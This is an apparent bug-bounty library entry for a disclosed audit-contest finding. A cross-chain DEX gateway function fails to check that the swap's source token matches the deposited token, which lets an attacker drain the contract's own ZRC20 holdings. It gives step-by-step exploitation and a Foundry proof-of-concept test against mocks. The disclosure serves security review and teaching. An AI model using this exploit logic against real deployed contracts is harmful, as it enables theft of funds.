# `GatewayTransferNative.withdrawToNativeChain` Allows Swapping Arbitrary Contract ZRC20s by Misusing Deposited Token Amount

GatewayTransferNative.withdrawToNativeChain fails to check that swap fromToken matches deposited zrc20, letting attacker drain contract's valuable ZRC20 holdings.

- Payout: Audit contest
- Severity: high
- Program: Dodo Cross Chain Dex
- Found by: 0xdice91
- Disclosed: 2025-05-29
- Write-up quality: 8/10
- Original: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/681
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-05-dodo-cross-chain-dex%3AH-4
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:access-control vuln:business-logic

**Target:** GatewayTransferNative.withdrawToNativeChain on ZetaChain
**Root cause:** withdrawToNativeChain derives MixSwapParams.fromToken from user-controlled message but never verifies it equals the deposited zrc20; _doMixSwap approves the contract's own balance of params.fromToken for the swap.
**Steps:**
1. Attacker approves GatewayTransferNative to spend 1 DAI.ETH (low value).
2. Craft message where decoded.swapDataZ sets params.fromToken=ETH.ETH, params.toToken=DAI.ETH, params.fromTokenAmount=1e18, targetZRC20=DAI.ETH, receiver=attacker.
3. Call `withdrawToNativeChain(address(zrc20DAI), 1e18, message)`.
4. _doMixSwap executes `IZRC20(ETH.ETH).approve(DODOApprove, 1e18)` approving contract's own ETH.ETH balance.
5. DODO mixSwap swaps 1e18 ETH.ETH from contract into DAI.ETH (~2500 DAI).
6. outputAmount routed to withdrawal logic and sent to attacker's receiver on dstChainId.
**How found:** Code review of withdrawToNativeChain and _doMixSwap: noticed params.fromToken comes from decoded message while approval uses deposited amount, with no equality check against zrc20 argument.
**Exploitation:** Attacker deposits a cheap ZRC20, crafts message so swapDataZ specifies a valuable ZRC20 held by the contract as fromToken, and the contract's own balance is approved and swapped; proceeds are withdrawn to attacker's address on destination chain.
**Insight:** When a function takes both a deposit token and a user-supplied swap payload, verify the payload's fromToken equals the deposited token; otherwise the contract approves and spends its own balance of the payload token.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test draining valuable ZRC20**

```
function test_WithdrawValuableTokens() public {
    address attacker = makeAddr("attacker");

    // Assets
    ERC20Mock dai = new ERC20Mock("DAI", "DAI", 18);
    ZRC20Mock zrc20DAI = new ZRC20Mock("ZetaChain DAI Ethereum", "DAI.ETH", 18);
    ZRC20Mock zrc20ETH = new ZRC20Mock("ZetaChain ETH Ethereum", "ETH.ETH", 18);
    uint256 amount = 1e18;

    // Balances
    zrc20DAI.mint(attacker, amount); // 1 DAI.ETH
    zrc20ETH.mint(address(gatewayTransferNative), amount); // 1 ETH.ETH e.g. for refund failed cross-chain tx
    zrc20DAI.mint(address(dodoRouteProxyZ), 2500 * 1e18); // Swaps Liquidity
    dai.mint(address(gatewayB), 2500 * 1e18); // Escrowed Liquidity

    // Gateways
    gatewayB.setZRC20(address(dai), address(zrc20DAI));
    zrc20DAI.setGasFee(0); // For simplicity
    zrc20DAI.setGasZRC20(address(zrc20DAI));

    // 1 ETH = 2500 DAI, no slippage for simplicity
    dodoRouteProxyZ.setPrice(address(zrc20ETH), address(zrc20DAI), 2500 * 1e18);

    // Approvals
    vm.prank(attacker);
    zrc20DAI.approve(address(gatewayTransferNative), amount);

    uint32 dstChainId = 2;
    address targetZRC20 = address(zrc20DAI);
    bytes memory sender = abi.encodePacked(attacker);
    bytes memory receiver = abi.encodePacked(attacker);
    bytes memory swapDataZ = encodeCompressedMixSwapParams(
        address(zrc20ETH), // !!!!
        address(zrc20DAI), // !!!!
        amount,
        0,
        0,
        new address[](1),
        new address[](1),
        new address[](1),
        0,
        new bytes[](1),
        abi.encode(address(0), 0),
        block.timestamp + 600
    );
    bytes memory contractAddress = abi.encodePacked(address(gatewaySendB));
    bytes memory fromTokenB = abi.encodePacked(address(dai));
    bytes memory toTokenB = abi.encodePacked(address(dai));
    bytes memory swapDataB = "";
    bytes memory accounts = "";
    bytes memory message = encodeMessage(
        dstChainId,
        targetZRC20,
        sender,
        receiver,
        swapDataZ,
        contractAddress,
        abi.encodePacked(fromTokenB, toTokenB, swapDataB),
        accounts
    );

    vm.prank(attacker);
    gatewayTransferNative.withdrawToNativeChain(address(zrc20DAI), amount, message);

    // Deposit 1 DAI got 2500 DAI
    assertEq(zrc20DAI.balanceOf(attacker), 0);
    assertEq(dai.balanceOf(attacker), 2500 * 1e18);
}
```

